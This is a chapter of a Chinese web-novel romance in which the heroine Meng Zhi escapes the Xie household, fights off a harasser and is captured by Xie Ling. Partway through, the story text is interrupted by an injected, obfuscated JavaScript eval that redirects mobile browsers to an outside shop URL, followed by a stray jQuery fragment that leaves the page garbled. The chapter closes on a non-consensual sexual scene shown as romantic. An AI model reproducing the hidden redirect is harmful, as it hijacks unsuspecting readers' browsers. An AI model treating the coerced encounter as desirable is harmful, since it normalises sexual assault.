4. 失身
    她脊背挺直跪着,不顾所有轻蔑鄙夷如同看脏东西的目光。

    下一瞬,他听见身旁的人淡淡道:“狼心狗肺。”

    她几乎是被赶出了谢府。

    但谢家好歹念了她父亲几分恩情,离开的时候赠了她一些银票,以作日后的盘缠。

    孟枳站在宽阔的正街,一种难以言表的轻松涌上心头。

    终于出来了。

    谢陵洁癖,是个极讲究的,当日在她家养伤时,父亲拿浆洗干净的衣衫与他换上,他重伤几近昏迷的情况下,仍拒绝穿旁人穿过的衣衫,现下她与旁的男子有了肌肤之亲,再怎么都不会再坚持纳她了。

    而谢家更不用说了,百年簪缨之族,自然不会同意谢陵收一个名节有损的女子,她今日这番作为,无异于已将这条路彻底封死。

    她没办法从谢府逃出来,谢陵又执意遵守父亲承诺,她只得出此下策。

    孟枳把谢府给的银票掏出来,一分为二,包裹里放一份,另一份贴身放进衣襟里。

    出府后的计划,她早已想好。

    这里女子行动受限,不好单独外出,她今后可以男装示人,如今昌明盛世,安全应当无虞。

    原身的家乡暂时回不去,朝廷派遣的医官正在救治疫病,她上一世的家在江南,所以她准备先前往江南,寻找文物。

    她今日就想启程,所以也不耽误时间,问了人后往最近的集市上走。

    永京在皇城根儿下,繁华兴盛,此时不过辰时,集市上已是一番繁忙景象。街道两旁,店铺林立,招牌高挂,酒肆、米店、衣肆、药铺……车水马龙,行人如织,热热闹闹。

    “能不能再便宜些。”孟枳手里拿了两件男装的成衣问掌柜。

    掌柜笑呵呵道:“姑娘,这是上好的绸衣料子,做工精细得紧,四两六钱不能再少了。”

    孟枳踌躇了片刻,还是放下手中的衣裳,转而去看棉料的衣裳,虽说谢府给了二百两银子,但她后面还要雇车、租赁宅院,找到文物了也需要一大笔银子,用钱的地方很多,她一丁点儿不敢浪费。

    “孟姑娘,是孟姑娘吧。”

    孟枳侧过脸。

    跟她说话的是一个身着锦衣,正冲着她满面春风的男子,身后还跟着一个小厮。

    她想起这人是谁,淡淡看了一眼,转回头对掌柜说道:“就这两件绸衣,帮我包起来吧。”

    旁边的男子受了冷落也没有恼意,眼睛盯着孟枳上下打量,末了落在她的脸上。

    “孟姑娘怎么买了男装,这是有了新的相好了,可怜我那堂弟还苦苦等着你。”

    孟枳接过衣裳,半眼不往旁边看,直接走出了铺子。

    “诶...别走啊。”身后的人越过人群,上前挡住她。

    孟枳抬眼:“请问何公子,有何事?”

    这人是原身同村的村民,家里是村子里的地主,又仗着跟县里的官差有些瓜葛,在村子里横行惯了,专爱轻薄女子,原身有一次去田里给父母送饭时,就曾被他言语调戏过。

    “也没什么,就问问妹妹现下住在何处,今后想念了咱们也好多走动走动。”

    孟枳缓缓冲她笑了一下:“何公子想我?”

    何春愣愣看着眼前的人儿,身着一袭烟霞紫衣裙,晨曦初照,既温柔又神秘,纤腰高高束起,只一看便能感知其骨雕之美,再往上,又浓又厚的乌发垂在胸前,肌肤水润,像灌进了一汪泉水...

    何春忍不住咽了口口水,呆呆道:“何只是想,神魂梦绕。”

    孟枳笑笑,边走边道:“何公子可否让身边的小厮替我跑一趟西市的聚庆斋,买些时新糕点来。”

    何春见她对着自己和颜悦色,哪有不应的,当即吩咐身后的小厮速去。

    孟枳拐进一条小巷,里面没有行人,身后的何春当即忍不住,三两步贴了上去。

    这种行径他做惯了,就连未笄的少女他都调戏过。

    受了轻薄的女子,为了名声,也不敢声张半句,就算对方纠缠起来,收了做妾室便是。

    孟枳挨着墙壁站着,在何春身体快要贴上来时,伸出一根手指抵住,眨眨眼:“向何公子打听个事儿。”

    何春低头凝视着抵在身前的盈盈白指:“孟姑娘只管问。”

    “我想问...”孟枳忽然倾身向前,抬起脚,又快又无比准确地踢上他的下三路。

    “啊...啊...”何春连着几声惨叫,双手死死扶着某处,缓了会儿,他抬起一只手,指着孟枳:“你...狠毒...”

    孟枳见他还能闲出一只手来,走上前又补了两脚。

    这次何春痛得直接滚在地上,嗷嗷叫唤。

    孟枳面无表情瞥了一眼,转身离开,走出几步后,她又折了回去。

    何春疼得面色发白,身躯蜷缩在地,惊恐地盯着去而复返的她,双手紧紧捂着身下。

    “要打听的事儿差点忘了,你堂弟如今在哪里?”

    何春疼得声音带了颤音,但还是老老实实回答:“他当时跟着先生去了县里,躲过一劫...后来县里也有了疫病,不知道他现在怎么样了。”

    他的堂弟叫何衡,曾在她被何春调戏时挺身而出,事后何衡因此事受到了他父亲的责罚。

    何衡父亲身体不好,平日靠给何春家做些简单的农活,支持儿子的学业,他是担心将人得罪了,没了这份生计来源。

    此时阳光穿透薄雾,露出明媚的一面。

    孟枳从小巷出来,来到河边,用眉笔把眉毛描粗,又把脸上弄得脏了些,带上买来的帷帽,才去车行。

    她现在没办法换男装,待会儿还要办路引出城。

    为了安全起见,雇车孟枳没有省钱,选了东面最大的一家车行,仔细验了车夫,马匹、车辆,确认没有问题才订下来,接着就在车行的协助下,快速申办了路引。

    孟枳又备了路上要吃的干粮,还买了几包石灰粉,一把匕首塞进衣襟里,用来防身。

    待一切准备妥当,孟枳登上马车,当日启程。

    这里拒江南之地500多公里,路上要行上十数日。

    上了车,孟枳将一应物品归置好,掀开帘子看着外面的街道。

    马车在城内行得不急不缓,孟枳的心情也终于平缓下来,从穿越来到这里,不是在逃难,就是身上有伤寄住在别人家里。<

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13174715|138895||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    p>现在文物虽然还没有下落,但无论如何,此刻她终于有了点掌控感,可以慢慢规划接下来的行动。

    “孟姑娘,我们要出城了。”

    “好。”孟枳掀开帘子,探出脑袋向前看。

    官道宽敞平坦,路上前后有不少运货的车马。

    “师傅,我们一直走官道就好。”

    “诶,晓得的。”

    孟枳一夜没睡,清晨又早早起来忙到现在,此刻紧绷的神经松懈下来,眼皮再也支撑不住,靠着车厢闭上眼睛。

    醒来时,车厢里已经有些暗了,车子也缓缓停下,她掀开帘子:“师傅,我们到...”

    她掀帘的动作一顿,只一眼看去,她心中霎时绷紧。

    十几步之外,谢陵立于一株苍劲葱郁的大树荫下,双眸不带任何温度地望着她。

    孟枳脑子炸开,慌忙抬眼望向四周,只见四周古木参天,密密层层,唯有一间宅院静静立于眼前。

    车夫已被换了人,那两人下了马车,一人走到谢陵身前垂手回话。

    孟枳隐约听到衣肆、雇车、堂弟...

    听到堂弟时,那人低垂着目光向她看来。

    四周万籁俱静,周围树木色彩斑斓,落叶铺满了道路。

    孟枳与他对望了片刻,抬腿上前,忽见前方站着的谢陵,身体好像不受控制地踉跄了半步,随后就见他低下头跟身边那人吩咐了几句,转身离开。

    谢陵离开后,凌镜不知道从哪里冒出来,命两名仆妇,强迫着将她带到一间房间。

    孟枳没法冷静,但也知晓此时对着门外大喊大叫没有用。

    房间内沿袭勋国公府一贯的风格,奢侈华贵,唯一不同的是屋内每一寸空间都显得干净整洁,地砖光洁如镜,窗纸雪白,物品全部纤尘不染,每一处都透露出房间主人对干净的极致追求。

    谢陵的房间?!

    可怕的洁癖症患者!!

    她在椅上坐了会儿,等外面的院子归于安静,她走到窗前,支起窗扇,见两名守卫在不远处如雕塑般站着。

    她又去推了推门,门没有锁,但轻微的开门声,让院子的几名守卫齐唰唰回过头来,不约而同望着她。

    孟枳不动声色把门合上,又在房间转了一圈,发现屏风后面竟还有一扇门。

    她试着推开,一股温热湿润的气息迎面扑来,接着一只手忽然拽着她的胳膊,将她拉入一个坚实而灼热的怀中。

    “谢陵你...唔...”

    这一切发生得猝不及防,眼前一片朦胧的氤氲,她被谢陵推向浴室潮热的墙壁上,整个人被牢牢地、密不透风地罩在他胸膛与双臂之间,耳间全是他的喘息声。

    喘不过气的孟枳拼命挣扎,张开唇一口咬上去,谢陵唇间忍不住溢出一声复杂地“嗯”,随即发疯与她纠缠。

    孟枳气得满头黑线,抬起脚往他下腹踹去,但显然他不是那位何公子,她的腿刚刚抬起,就被一只大手按住,紧接着那条腿便被人抬起来。

    孟枳难以置信,瞪大了双眼:“谢陵...”

    谢陵掀帘看着她,手上动作未停,面无表情扯开她身下里衣.......